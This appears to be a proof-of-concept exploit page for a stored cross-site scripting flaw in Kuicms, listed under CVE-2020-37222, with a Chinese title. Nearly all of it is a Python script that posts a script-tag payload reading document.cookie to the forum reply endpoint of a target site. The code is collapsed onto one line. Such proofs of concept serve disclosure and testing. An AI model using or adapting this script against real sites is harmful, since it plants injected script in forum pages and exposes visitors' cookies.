CVE-2020-37222 Kuicms存储型XSS漏洞

import requests def exploit(target_url): # Exploit endpoint url = f"{target_url}/web/?c=bbs&a=reply" # Malicious payload payload = "<script>alert(document.cookie);</script>" # Post data data = { "content": payload } try: response = requests.post(url, data=data) if response.status_code == 200: print("[+] Payload sent successfully. Check the bbs reply section.") else: print("[-] Failed to send payload.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://127.0.0.1" exploit(target)